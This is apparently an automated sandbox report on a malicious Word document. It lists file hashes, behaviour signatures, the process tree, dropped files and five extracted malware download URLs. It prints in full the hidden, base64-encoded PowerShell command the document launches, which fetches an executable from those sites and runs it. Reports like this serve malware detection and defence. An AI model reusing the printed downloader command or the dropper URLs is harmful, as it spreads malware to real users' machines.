Resubmissions

16/04/2025, 23:23

250416-3dkjmsw1ds 10

16/04/2025, 23:22

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16/04/2025, 23:16

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16/04/2025, 23:10

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16/04/2025, 21:45

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16/04/2025, 21:16

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16/04/2025, 21:06

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Analysis

  • max time kernel
    102s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-es
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-eslocale:es-esos:windows10-2004-x64systemwindows
  • submitted
    16/04/2025, 23:23

General

  • Target

    virusshare/2/VirusShare_2fe5b00079aec2d8369a798230313ec8.doc

  • Size

    125KB

  • MD5

    2fe5b00079aec2d8369a798230313ec8

  • SHA1

    e233595a2ee62f6197fcc7d9088fce3505c38ec0

  • SHA256

    8eb6805a0852b220695175ce81a5b139f1438dc06ea3fc1347b047702880374c

  • SHA512

    d9b4173274b49d7f041aea1a6866d5cc79530360668299385a10f25597b608308a5cb6502363709a7e09e43d30a1df95e1ab72fcc71852c78b51da016c2bbed7

  • SSDEEP

    3072:beKgdzSrG8KyIwLx3phgC1s0rPOWfKNR/:beKUzSLnLx3X3O0r2WfKNJ

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://sandiegohomevalues.com/engl/4de-kzsyhu-768611/

exe.dropper

https://www.wenkawang.com/data/bofze0s-7ji4-15/

exe.dropper

https://www.bruidsfotograaf-utrecht.com/wp-includes/QLvFLy/

exe.dropper

http://ma.jopedu.com/img/8z8dl-3xn-655019278/

exe.dropper

http://pay.jopedu.com/ThinkPHP/l9okcguh6-b9nnrh7-96245524/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\virusshare\2\VirusShare_2fe5b00079aec2d8369a798230313ec8.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2164
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:5028
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABKAGIAagBkAG0AcgBrAGYAPQAnAFcAdgB4AG8AagBqAHgAeQAnADsAJABLAHEAegB2AHEAagBjAGQAYgBkAGsAIAA9ACAAJwAzADAANgAnADsAJABHAHgAZAB1AG8AYwBkAGoAYwBqAHQAPQAnAEIAawBmAGsAYgBvAGYAaQBwAHAAYwB6AHQAJwA7ACQATQBiAGsAbQBvAG8AbgBnAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABLAHEAegB2AHEAagBjAGQAYgBkAGsAKwAnAC4AZQB4AGUAJwA7ACQAVQBlAGYAYwB6AHAAYwBkAGYAaQB4AG8APQAnAFIAcQBkAGsAegBtAHkAZABtAHcAdAB3AGYAJwA7ACQASQB5AGIAbgBwAHkAdABmAGEAcABtAD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAJwArACcAagBlAGMAJwArACcAdAAnACkAIABuAGUAVAAuAHcAZQBiAGMATABJAEUAbgB0ADsAJABEAHEAcwB5AG4AYQBoAHkAeQB2AHgAbAA9ACcAaAB0AHQAcABzADoALwAvAHMAYQBuAGQAaQBlAGcAbwBoAG8AbQBlAHYAYQBsAHUAZQBzAC4AYwBvAG0ALwBlAG4AZwBsAC8ANABkAGUALQBrAHoAcwB5AGgAdQAtADcANgA4ADYAMQAxAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgB3AGUAbgBrAGEAdwBhAG4AZwAuAGMAbwBtAC8AZABhAHQAYQAvAGIAbwBmAHoAZQAwAHMALQA3AGoAaQA0AC0AMQA1AC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBiAHIAdQBpAGQAcwBmAG8AdABvAGcAcgBhAGEAZgAtAHUAdAByAGUAYwBoAHQALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAFEATAB2AEYATAB5AC8AKgBoAHQAdABwADoALwAvAG0AYQAuAGoAbwBwAGUAZAB1AC4AYwBvAG0ALwBpAG0AZwAvADgAegA4AGQAbAAtADMAeABuAC0ANgA1ADUAMAAxADkAMgA3ADgALwAqAGgAdAB0AHAAOgAvAC8AcABhAHkALgBqAG8AcABlAGQAdQAuAGMAbwBtAC8AVABoAGkAbgBrAFAASABQAC8AbAA5AG8AawBjAGcAdQBoADYALQBiADkAbgBuAHIAaAA3AC0AOQA2ADIANAA1ADUAMgA0AC8AJwAuACIAUwBgAFAATABJAFQAIgAoACcAKgAnACkAOwAkAEEAdgB2AGgAawBvAHkAZQByAD0AJwBaAGcAegBiAGQAegB5AG0AeQAnADsAZgBvAHIAZQBhAGMAaAAoACQAUgBjAHIAbgBkAHEAZgBtAGYAbQBlACAAaQBuACAAJABEAHEAcwB5AG4AYQBoAHkAeQB2AHgAbAApAHsAdAByAHkAewAkAEkAeQBiAG4AcAB5AHQAZgBhAHAAbQAuACIAZABPAGAAVwBuAGwAbwBhAEQAZgBgAEkAbABlACIAKAAkAFIAYwByAG4AZABxAGYAbQBmAG0AZQAsACAAJABNAGIAawBtAG8AbwBuAGcAKQA7ACQAUAB0AGkAdQBxAHIAaQBqAGQAawBsAHYAZQA9ACcASAB3AGgAcwBtAGwAegBzACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQBtACcAKQAgACQATQBiAGsAbQBvAG8AbgBnACkALgAiAEwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMwAwADMAMAA5ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAYABUAGEAcgBUACIAKAAkAE0AYgBrAG0AbwBvAG4AZwApADsAJABMAHMAdAB4AHMAcwBpAGEAPQAnAFkAcAB5AGgAdgBoAGgAdwAnADsAYgByAGUAYQBrADsAJABWAG4AYQBzAGIAZgBmAG0AbwBxAD0AJwBDAG0AZwBxAHAAZwBzAHMAbgBkAGkAYgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABJAGwAcgBlAHIAdgB6AGgAaQA9ACcAQgB2AG4AbQB2AG0AcABhAGQAbgBsAGIAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:920

    Network

    MITRE ATT&CK Enterprise v16

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\306.exe

      Filesize

      418KB

      MD5

      e124273a14aec1294ca9b4e7633e27c0

      SHA1

      7f74948596a06638d4a2d0d701bcead21b9d52c6

      SHA256

      ab70dac1d9b9c7753233a76dcf92fe3927e73d082f24be8c110505aa7da9fcd5

      SHA512

      8871653b553d60698fa59a7b46a16ea9c0e3ef6c8a076dc26820270a11e4c50eb64c95dad9377ad8983f8b9ef8768c90483e92a7bd8d59b1bebe8bf7e80ce2fd

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\EF3F3062.wmf

      Filesize

      444B

      MD5

      43c1823c845c9aa2a07a938e5e60631f

      SHA1

      ee95dc9d49091b5b4cb102875cdd22acfe55c2a0

      SHA256

      ef08ab51deadf9d8c4fce5cf768e3f2f07d715f91313a177c21333d82259211f

      SHA512

      338bc3aa445a47db92867f787ef8984e192f764487203be04078ed10036d37baf2afc06be02c7534ef789ab0c1a50526f56859f86b46dba3ecab5bbfd7333807

    • C:\Users\Admin\AppData\Local\Temp\TCDD2A9.tmp\iso690.xsl

      Filesize

      263KB

      MD5

      ff0e07eff1333cdf9fc2523d323dd654

      SHA1

      77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

      SHA256

      3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

      SHA512

      b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5tr5mycd.vks.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

      Filesize

      1KB

      MD5

      de4907dfea96044ee2a70ed5de38c7c9

      SHA1

      e890775e49f507a4db1bf2768db93223dca8c54b

      SHA256

      18661e6cd6806c5d4d6f4297379477e6f76b56b423ca1f8889d962f5ce52aac6

      SHA512

      01d233141eb0e8ea7647aba88aafab7fc6bd1d8827257f17f67e08efee235b70ef86e31a3bd5ee85ab98ed1453946fbca41a88370c8c044eb6cd8d851d4a94b1

    • memory/920-68-0x0000023DF4880000-0x0000023DF48C0000-memory.dmp

      Filesize

      256KB

    • memory/920-64-0x0000023DF4B70000-0x0000023DF4C72000-memory.dmp

      Filesize

      1.0MB

    • memory/920-63-0x0000023DDC800000-0x0000023DDC822000-memory.dmp

      Filesize

      136KB

    • memory/920-62-0x0000023DDC7C0000-0x0000023DDC7D0000-memory.dmp

      Filesize

      64KB

    • memory/920-52-0x0000023DF48D0000-0x0000023DF4952000-memory.dmp

      Filesize

      520KB

    • memory/2164-8-0x00007FFDA75F0000-0x00007FFDA77E5000-memory.dmp

      Filesize

      2.0MB

    • memory/2164-5-0x00007FFDA75F0000-0x00007FFDA77E5000-memory.dmp

      Filesize

      2.0MB

    • memory/2164-13-0x00007FFDA75F0000-0x00007FFDA77E5000-memory.dmp

      Filesize

      2.0MB

    • memory/2164-11-0x00007FFDA75F0000-0x00007FFDA77E5000-memory.dmp

      Filesize

      2.0MB

    • memory/2164-10-0x00007FFDA75F0000-0x00007FFDA77E5000-memory.dmp

      Filesize

      2.0MB

    • memory/2164-15-0x00007FFD65060000-0x00007FFD65070000-memory.dmp

      Filesize

      64KB

    • memory/2164-16-0x00007FFD65060000-0x00007FFD65070000-memory.dmp

      Filesize

      64KB

    • memory/2164-12-0x00007FFDA75F0000-0x00007FFDA77E5000-memory.dmp

      Filesize

      2.0MB

    • memory/2164-0-0x00007FFD67670000-0x00007FFD67680000-memory.dmp

      Filesize

      64KB

    • memory/2164-9-0x00007FFDA75F0000-0x00007FFDA77E5000-memory.dmp

      Filesize

      2.0MB

    • memory/2164-4-0x00007FFD67670000-0x00007FFD67680000-memory.dmp

      Filesize

      64KB

    • memory/2164-6-0x00007FFDA75F0000-0x00007FFDA77E5000-memory.dmp

      Filesize

      2.0MB

    • memory/2164-7-0x00007FFD67670000-0x00007FFD67680000-memory.dmp

      Filesize

      64KB

    • memory/2164-14-0x00007FFDA75F0000-0x00007FFDA77E5000-memory.dmp

      Filesize

      2.0MB

    • memory/2164-2-0x00007FFD67670000-0x00007FFD67680000-memory.dmp

      Filesize

      64KB

    • memory/2164-99-0x00007FFDA75F0000-0x00007FFDA77E5000-memory.dmp

      Filesize

      2.0MB

    • memory/2164-100-0x00007FFDA768D000-0x00007FFDA768E000-memory.dmp

      Filesize

      4KB

    • memory/2164-101-0x00007FFDA75F0000-0x00007FFDA77E5000-memory.dmp

      Filesize

      2.0MB

    • memory/2164-102-0x00007FFDA75F0000-0x00007FFDA77E5000-memory.dmp

      Filesize

      2.0MB

    • memory/2164-103-0x00007FFDA75F0000-0x00007FFDA77E5000-memory.dmp

      Filesize

      2.0MB

    • memory/2164-3-0x00007FFD67670000-0x00007FFD67680000-memory.dmp

      Filesize

      64KB

    • memory/2164-1-0x00007FFDA768D000-0x00007FFDA768E000-memory.dmp

      Filesize

      4KB

    • memory/2164-262-0x00007FFD67670000-0x00007FFD67680000-memory.dmp

      Filesize

      64KB

    • memory/2164-263-0x00007FFD67670000-0x00007FFD67680000-memory.dmp

      Filesize

      64KB

    • memory/2164-265-0x00007FFD67670000-0x00007FFD67680000-memory.dmp

      Filesize

      64KB

    • memory/2164-264-0x00007FFD67670000-0x00007FFD67680000-memory.dmp

      Filesize

      64KB

    • memory/2164-266-0x00007FFDA75F0000-0x00007FFDA77E5000-memory.dmp

      Filesize

      2.0MB